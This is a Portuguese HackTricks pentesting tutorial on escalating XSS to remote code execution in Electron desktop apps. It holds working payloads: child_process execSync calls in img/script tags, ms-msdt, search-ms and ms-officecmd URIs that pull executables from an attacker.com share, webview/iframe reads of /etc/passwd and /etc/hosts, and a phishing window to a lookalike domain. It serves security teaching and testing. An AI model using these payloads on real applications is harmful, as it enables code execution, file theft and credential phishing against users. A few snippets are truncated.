hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md
2023-06-06 18:56:34 +00:00

335 lines
19 KiB
Markdown

## XSS para RCE em Aplicativos Desktop Electron
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introdução
O Electron é **baseado no Chromium**, mas não é um navegador. Certos princípios e mecanismos de segurança implementados pelos navegadores modernos não estão presentes.\
Você pode ver o Electron como um aplicativo local de backend+frontend onde o **NodeJS** é o **backend** e o **Chromium** é o **frontend**.
Normalmente, você pode encontrar o código do aplicativo Electron dentro de um aplicativo `.asar`. Para obter o código, você precisa extraí-lo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
O Electron tem 2 tipos de processos:
* Processo Principal (tem acesso completo ao NodeJS)
* Processo Renderer (deve ter acesso restrito ao NodeJS por motivos de segurança)
![](<../../../.gitbook/assets/image (307) (5) (1).png>)
Um **processo renderer** será uma janela do navegador carregando um arquivo:
```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
As configurações do **processo de renderização** podem ser **configuradas** no **processo principal** dentro do arquivo main.js. Algumas das configurações irão **impedir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**.
A aplicação desktop pode ter acesso ao dispositivo do usuário por meio de APIs do Node. As duas seguintes configurações são responsáveis por fornecer mecanismos para **impedir que o JavaScript da aplicação tenha acesso direto ao dispositivo do usuário** e comandos de nível do sistema.
* **`nodeIntegration`** - está desativado por padrão. Se ativado, permite acessar recursos do Node a partir do processo de renderização.
* **`contextIsolation`** - está ativado por padrão. Se ativado, os processos principal e de renderização não estão isolados.
* **`preload`** - vazio por padrão.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desativado por padrão. Ele restringirá as ações que o NodeJS pode executar.
* Integração do Node em Workers
* **`nodeIntegrationInSubframes`** - está desativado por padrão.
* Se a **`nodeIntegration`** estiver **habilitada**, isso permitiria o uso de **APIs do Node.js** em páginas da web que são **carregadas em iframes** dentro de uma aplicação Electron.
* Se a **`nodeIntegration`** estiver **desativada**, então os preloads serão carregados no iframe.
Exemplo de configuração:
```javascript
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
```
Alguns **cargas úteis RCE** da [qui](https://7as.es/electron/nodeIntegration\_rce.txt):
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
```
### Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## RCE: XSS + nodeIntegration
Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página da web pode usar facilmente recursos do Node.js apenas chamando o `require()`. Por exemplo, a maneira de executar o aplicativo calc no Windows é:
```html
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
```
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
O script indicado nesta configuração é carregado antes de outros scripts no renderizador, portanto, ele tem acesso ilimitado às APIs do Node:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Portanto, o script pode exportar recursos de nó para páginas:
{% code title="preload.js" %}
```javascript
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
```
{% endcode %}
{% code title="index.html" %}
```html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<h1>Hello World!</h1>
<p>Welcome to my Electron app.</p>
<script src="./renderer.js"></script>
</body>
</html>
```
{% endcode %}
Este é um exemplo de um arquivo `index.html` básico para um aplicativo de desktop Electron. Ele contém um cabeçalho com a codificação de caracteres, um título e um link para um arquivo de estilo externo. O corpo contém um título e um parágrafo de boas-vindas, bem como um script que é carregado a partir de um arquivo `renderer.js`.
```html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
```
{% endcode %}
{% hint style="info" %}
**Se `contextIsolation` estiver ativado, isso não funcionará**
{% endhint %}
## RCE: XSS + contextIsolation
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página da web e o código interno do JavaScript do Electron** para que a execução do JavaScript de cada código não afete um ao outro. Essa é uma característica necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um invasor pode:
1. Executar **JavaScript arbitrário no renderizador** (XSS ou navegação para sites externos)
2. **Sobrescrever o método embutido** que é usado no código de pré-carregamento ou no código interno do Electron para a própria função
3. **Disparar** o uso da **função sobrescrita**
4. RCE?
Existem 2 lugares onde os métodos embutidos podem ser sobrescritos: no código de pré-carregamento ou no código interno do Electron:
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
{% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
{% endcontent-ref %}
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
{% endcontent-ref %}
### Bypass do evento de clique
Se houver restrições aplicadas quando você clica em um link, você pode ser capaz de contorná-las **fazendo um clique do meio** em vez de um clique esquerdo regular.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Se o aplicativo de desktop Electron for implantado com as configurações adequadas de `nodeIntegration` e `contextIsolation`, isso simplesmente significa que **a execução remota de código do lado do cliente, visando scripts de pré-carregamento ou código nativo do Electron do processo principal, não pode ser alcançada**.
Cada vez que um usuário clica no link ou abre uma nova janela, os seguintes ouvintes de eventos são invocados:
{% code overflow="wrap" %}
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
{% endcode %}
A aplicação desktop **substitui esses ouvintes** para implementar a própria **lógica de negócios** da aplicação desktop. Durante a criação de novas janelas, a aplicação verifica se o link navegado deve ser aberto em uma janela ou guia da aplicação desktop, ou se deve ser aberto no navegador da web. Em nosso exemplo, a verificação é implementada com a função `openInternally`, se ela retornar `false`, a aplicação assumirá que o link deve ser aberto no navegador da web usando a função `shell.openExternal`.
**Aqui está um pseudocódigo simplificado:**
![](<../../../.gitbook/assets/image (638) (2) (1) (1).png>)
![](<../../../.gitbook/assets/image (620).png>)
De acordo com as melhores práticas de segurança do Electron JS, a função `openExternal` **não deve aceitar conteúdo não confiável** **porque isso pode levar a RCE abusando de diferentes protocolos** se a aplicação não limitar a navegação dos usuários por meio de protocolos como https:// ou http://.
Diferentes sistemas operacionais suportam diferentes protocolos que podem desencadear RCE, para mais informações sobre eles, verifique [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042), mas aqui estão alguns exemplos do Windows:
```html
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>
<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>
<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
```
Para mais informações sobre esses exemplos, consulte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
## Ler arquivos internos: XSS + contextIsolation
Se `contextIsolation` estiver definido como falso, você pode tentar usar \<webview> (semelhante a \<iframe>, mas pode carregar arquivos locais) para ler arquivos locais e exfiltrá-los: usando algo como **\<webview src=”file:///etc/passwd”>\</webview>:**
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
Outra maneira de **ler um arquivo interno** é através deste [**writeup**](https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app):
```html
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
```
## **RCE: XSS + Chromium antigo**
Se o **chromium** usado pela aplicação for **antigo** e houver **vulnerabilidades conhecidas** nele, pode ser possível **explorá-lo e obter RCE por meio de um XSS**.\
Você pode ver um exemplo neste **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Supondo que você encontrou um XSS, mas **não pode acionar RCE ou roubar arquivos internos**, você pode tentar usá-lo para **roubar credenciais por meio de phishing**.
Antes de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
A chamada para **`openInternally`** decidirá se o **link** será **aberto** na **janela do desktop** como um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de terceiros**.
No caso em que o **regex** usado pela função é **vulnerável a bypasses** (por exemplo, **não escapando os pontos dos subdomínios**), um invasor poderia abusar do XSS para **abrir uma nova janela que** estará localizada na infraestrutura do invasor **solicitando credenciais** ao usuário:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## **Ferramentas**
* [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e anti-padrões de segurança em aplicativos baseados em Electron.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto do VS Code para aplicativos Electron que usa o Electronegativity.
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis.
* [**Electro.ng**](https://electro.ng/): você precisa comprá-lo.
## Laboratórios
Em [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) você pode encontrar um laboratório para explorar aplicativos Electron vulneráveis.
Alguns comandos que ajudarão você no laboratório:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **Referências**
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
* Mais pesquisas e artigos sobre segurança do Electron em [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>